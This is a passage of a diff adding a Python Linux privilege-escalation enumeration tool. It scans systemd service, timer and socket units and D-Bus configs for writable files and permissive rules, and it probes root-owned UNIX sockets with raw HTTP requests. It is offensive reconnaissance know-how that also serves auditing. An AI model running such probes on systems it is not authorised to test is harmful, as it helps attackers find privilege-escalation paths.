invoked by an interpreter. + # Example: ExecStart=/bin/sh -c 'somefolder/somebinary' + regex = re.compile(r'^Exec(?:Start|Stop|Reload)=' + r'(?:@[^/]' # special exec + r'|-[^/]' # special exec + r'|\+[^/]' # special exec + r'|![^/]' # special exec + r'|!![^/]' # special exec + r'|)' # or maybe no special exec + r'.*?(?:/bin/sh|/bin/bash) ' # interpreter + r'(?:[\'"]|)' # might have quotes + r'(?:-[a-z]+|)'# might have params + r'(?:[ ]+|)' # might have more spaces now + r'[^/-]' # not abs path or param + r'.*', # rest of line + re.MULTILINE) + text = ('Possible relative path invoked with an interpreter in an' + ' Exec statement.\n' + 'Unless you have writable systemd paths, you won\'t be able to' + ' exploit this:') + box = 'sus' + tee("") + tee("Checking for relative paths in service unit files [check 2]...", + box='ok') + regex_vuln_search(file_paths=units, + regex=regex, + message_text=text, + message_box=box) + + # Check for write access to any commands invoked by Exec statements. + # Thhs regex below is used to extract command lines. + regex = re.compile(r'^Exec.*?=[!@+-]*(.*?$)', + re.MULTILINE) + # We don't pass message info to this function as we need to perform more + # processing on the output to determine what is writeable. + tee("") + tee("Checking for write access to commands referenced in service files...", + box='ok') + service_commands = regex_vuln_search(file_paths=units, + regex=regex, + message_text='', + message_box='') + + # Another helper function to take the extracted commands and check for + # write permissions. + text = 'You have write access to commands referred to in service files:' + box = 'vuln' + check_command_permission(commands=service_commands, + message_text=text, + message_box=box) + + +def uptux_check_timer_units(): + """Inspect systemd timer unit files""" + units = set() + mask = '*.timer' + units = find_system_files(known_dirs=SYSTEMD_DIRS, + search_mask=mask) + + tee("Found {} timer units to analyse...\n".format(len(units)), + box='ok') + + # Test for write access to any timer files. + # Will resolve symlinks to their target and also check for broken links. + text = 'Found writeable timer unit files:' + text2 = 'Found writeable directories referred to by broken symlinks' + box = 'vuln' + tee("") + tee("Checking permissions on timer unit files...", + box='ok') + check_file_permissions(file_paths=units, + files_message_text=text, + dirs_message_text=text2, + message_box=box) + + # Timers may reference systemd services, which are already being checked. + # But they may reference a specific script (often a '.target' file of the + # same name. Check to see if the action called is writable. + # The regex below is used to extract these targets. + regex = re.compile(r'^Unit=*(.*?$)', + re.MULTILINE) + + # We don't pass message info to this function as we need to perform more + # processing on the output to determine what is writeable. + tee("") + tee("Checking for write access to commands referenced in timer files...", + box='ok') + timer_commands = regex_vuln_search(file_paths=units, + regex=regex, + message_text='', + message_box='') + + # Another helper function to take the extracted commands and check for + # write permissions. + text = 'You have write access to commands referred to in timer files:' + box = 'vuln' + check_command_permission(commands=timer_commands, + message_text=text, + message_box=box) + + +def uptux_check_socket_units(): + """Inspect systemd socket unit files""" + units = set() + mask = '*.socket' + units = find_system_files(known_dirs=SYSTEMD_DIRS, + search_mask=mask) + + tee("Found {} socket units to analyse...\n".format(len(units)), + box='ok') + + # Test for write access to any socket files. + # Will resolve symlinks to their target and also check for broken links. + text = 'Found writeable socket unit files:' + text2 = 'Found writeable directories referred to by broken symlinks' + box = 'vuln' + tee("") + tee("Checking permissions on socket unit files...", + box='ok') + check_file_permissions(file_paths=units, + files_message_text=text, + dirs_message_text=text2, + message_box=box) + + # Check for write access to any socket files created by a service. + # This can be interesting - I've seen a systemd service run a REST + # API on a AF_UNIX socket. This would be missed by normal privesc + # checks. + # Thhs regex below is used to extract command lines. + regex = re.compile(r'^Listen.*?=[!@+-]*(.*?$)', + re.MULTILINE) + + # We don't pass message info to this function as we need to perform more + # processing on the output to determine what is writeable. + tee("") + tee("Checking for write access to AF_UNIX sockets...", + box='ok') + socket_files = regex_vuln_search(file_paths=units, + regex=regex, + message_text='', + message_box='') + + # Another helper function to take the extracted commands and check for + # write permissions. + text = ('You have write access to AF_UNIX socket files invoked by a' + ' systemd service.\n' + 'This could be interesting. \n' + 'You can attach to these files to look for an exploitable API.') + box = 'sus' + check_command_permission(commands=socket_files, + message_text=text, + message_box=box) + + +def uptux_check_socket_apis(): + """Look for web servers on UNIX domain sockets""" + # Use Linux ss tool to find sockets in listening state + command = 'ss -xlp -H state listening' + output = shell_exec(command) + + # We get Unicode back from the above command, let's fix + output = str(output) + + root_sockets = [] + socket_replies = {} + + # We want to grab all the strings that look like socket paths + sockets = re.findall(r' (/.*?) ', output) + abstract_sockets = re.findall(r' (@.*?) ', output) + + for socket_path in sockets: + # For now, we are only interested in sockets owned by root + if os.path.exists(socket_path) and os.stat(socket_path).st_uid == 0: + root_sockets.append(socket_path) + + tee("Trying to connect to {} unix sockets owned by uid 0..." + .format(len(root_sockets)), box='ok') + tee("") + + # Cycle through each and try to send a raw HTTP GET + for socket_target in root_sockets: + + # Define a raw HTTP GET request + http_get = ('GET / HTTP/1.1\r\n' + 'Host: localhost\r\n' + '\r\n\r\n') + + # Try to interact with the socket like a web API + client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + client.settimeout(5) + try: + client.connect(socket_target) + client.sendall(http_get.encode()) + + reply = client.recv(8192).decode() + + # If we get a reply to this, we assume it is an API + if reply: + socket_replies[socket_target] = reply + + except (socket.error, UnicodeDecodeError): + continue + + # If we have some replies, print to console + # Hack-ish string replacement to get a nice indent + if socket_replies: + tee("The following root-owned sockets replied as follows", + box='sus') + for socket_path in socket_replies: + tee(" " + socket_path + ":") + tee(" " + socket_replies[socket_path] + .replace('\n', '\n ')) + tee("") + + +def uptux_check_dbus_issues(): + """Inspect D-Bus configuration items""" + units = set() + mask = '*.conf' + units = find_system_files(known_dirs=DBUS_DIRS, + search_mask=mask) + + tee("Found {} D-Bus conf files to analyse...\n".format(len(units)), + box='ok') + + # Test for write access to any files. + # Will resolve symlinks to their target and also check for broken links. + text = 'Found writeable D-Bus conf files:' + text2 = 'Found writeable directories referred to by broken symlinks' + box = 'vuln' + tee("") + tee("Checking permissions on D-Bus conf files...", + box='ok') + check_file_permissions(file_paths=units, + files_message_text=text, + dirs_message_text=text2, + message_box=box) + + # Checking for overly permission policies in D-Bus configuration files. + # For example, normally "policy" is defined as a username. When defined in + # an XML tag on its own, it applies to everyone. + tee("") + tee("Checking for overly permissive D-Bus configuration rules...", + box='ok') + + regex = re.compile(r'.*?', + re.MULTILINE|re.DOTALL) + + text = ('These D-Bus policies may be overly permissive as they do not' + ' specify a user or group.') + box = 'sus' + regex_vuln_search(file_paths=units, + regex=regex, + message_text=text, + message_box=box) + +########################## Individual Checks Complete ######################### + +def main(): + """Main function""" + print(BANNER) + + # Dynamically build list of checks to execute. + uptux_checks = build_checks_list() + + # Use the handler to execute each check. + for check in uptux_checks: + check_name = check.__name__ + check_desc = check.__doc__ + check_handler(check, check_name, check_desc) + + # Good luck! + tee("") + tee("All done, good luck!", box='note') + +if __name__ == "__main__": + main()